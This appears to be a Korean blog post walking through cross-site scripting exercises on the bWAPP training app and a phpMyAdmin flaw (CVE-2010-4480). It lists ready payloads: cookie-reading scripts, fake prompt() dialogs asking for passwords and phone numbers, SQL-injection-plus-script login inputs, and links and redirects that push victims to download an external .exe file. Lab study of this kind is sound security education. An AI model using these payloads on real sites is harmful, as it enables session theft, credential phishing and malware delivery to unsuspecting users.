한님폐하 2022. 9. 13. 09:13
  • XSS 공격은 공격자가 제작한 스크립트가 사용자 시스템 및 브라우저에서 실행되는 공격이다.
  • 사용자 시스템 및 브라우저에서 별도의 검증 단계 없이 실행되기 Reflected/Stored 기법을 이용하여 공격이 가능하다.

 

1. XSS - Reflected (GET)

<script>document.location.href="https://blog.kakaocdn.net/dn/ckcSUp/btrFGNUSHgd/FcwKNiYNRte2CcyVXQbcL0/tfile.exe"</script>

 

 

2. XSS - Reflected (POST)

<script>alert(document.cookie)</script>

 

 

3. XSS - Reflected (JSON)

"}]}'; </script><script>prompt("please enter your password.")</script><script>
"}]}'; </script><script>prompt("Please enter your phone number"); //
"}]}'; prompt("Please enter your phone number"); //

 

 

4. XSS - Reflected (AJAX/JSON)

http://[타겟 IP]/bWAPP/xss_ajax_2-2.php?title=<script>alert(document.cookie)</script>

 

 

5. XSS - Reflected (AJAX/XML)

&lt;img src=x onerror='alert(document.cookie)'&gt;

 

 

6. XSS - Reflected (Eval)

http://192.168.20.205/bWAPP/xss_eval.php?date=prompt('please enter your password.')

 

 

7. XSS - Reflected (HREF)

abc><script>alert("test")</script>
abc onclick="alert('test')"
abc onmouseover="alert('test')"

 

 

8. XSS - Reflected (Login Form)

' or 1=1 ; <script>alert("test")</script>
' or 1=1 ; <script>alert(document.cookie)</script>
' or 1=1 ; <script>prompt("please enter your password.")</script>

 

 

9. phpMyAdmin BBCode Tag XSS (CVE-2010-4480)

  • 이 시나리오는 PHP 관리자 페이지 관련 파일 중에 'error.php'에 BBcode(@)를 이용하여 XSS를 실행하는 내용이다.
  • 취약점 버전 : PhpMyAdmin 3.3.8.1, 3.4.0-beta1 이전 버전
  • CVE-2010-4480 참조 사이트 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4480
  • BBCode Tag 형식 : [a@url@page]
http://192.168.20.205/phpmyadmin/error.php?type=FREE+Download
http://192.168.20.205/phpmyadmin/error.php?type=FREE+Download&error=ccna+dump+download+[a@http://192.168.20.50/adobe.png@]click+here[/a]
http://192.168.20.205/phpmyadmin/error.php?type=FREE+Download&error=ccna+dump+download+[a@https://t1.daumcdn.net/cfile/tistory/99AA693B5C47D26D18@]click+here[/a]
http://192.168.20.205/phpmyadmin/error.php?type=FREE+Download&error=ccna+dump+download+[a@https://blog.kakaocdn.net/dn/ckcSUp/btrFGNUSHgd/FcwKNiYNRte2CcyVXQbcL0/tfile.exe@]click+here[/a]

 

10. XSS - Reflected (PHP_SELF)

  • PHP_SELF는 현재 사용중인 php 파일의 경로 또는 URL을 사용하는 전역 변수이다. 
  • 일반적으로 <form> 태그를 사용하며 태그 안에 자신의 현재 페이지를 호출한다.
  • 이때, 변수/입력값은 'GET', 'POST'로 처리한다.
<script>alert("test")</script>
<script>alert(document.cookie)</script>

 

11. XSS - Reflected (Referer)

  • 버프 슈트를 이용하여 'Referer'에 스크립트를 인젝션한다.


 

12. XSS - Reflected (User-Agent)

  • 버프 슈트를 이용하여 'User-Agnet'에 스크립트를 인젝션한다.

 

 

13. XSS - Stored (Blog)

<script>alert("test")</script>
<script>alert(document.cookie)</script>
<script>prompt("please enter your password.")</script>

 

 

14. XSS - Stored (Change Secret)

  •  test1234를 입력하고 'Change' 버튼을 클릭하면 'The secret has been changed!' 메세지 응답을 확인할 수 있다.
  • 'SQL Injection (Login Form/User)' 시나리오로 가서  'bee/bug'로 로그인한 이후 비밀번호 힌트가 변경됨을 확인한다.

 

15. XSS - Stored (Cookies)

  • 'Action'을 선택하고 'Like' 버튼을 클릭하면 다음과 같이 URL 정보에 변수 이름이 출력되며, GET 방식임을 알 수 있다.
  • 이전에 선택한 내용이 있기 때문에 'genre=action' 변수값이 쿠키에 저장되어 있다.
  • 다음과 같이 URL genre 변수에 스크립트를 인젝션하고 'Intercept is off'를 실시한다.
  • 'Session Mgmt. - Cookies (HTTPOnly)' 시나리오로 가서  'Cookies' 버튼을 클릭했을때 스크립트 실행을 확인한다.

 

08_Broken Auth.txt
0.00MB
09_Insecure DOR.txt
0.01MB
10_Directory Traversal.txt
0.00MB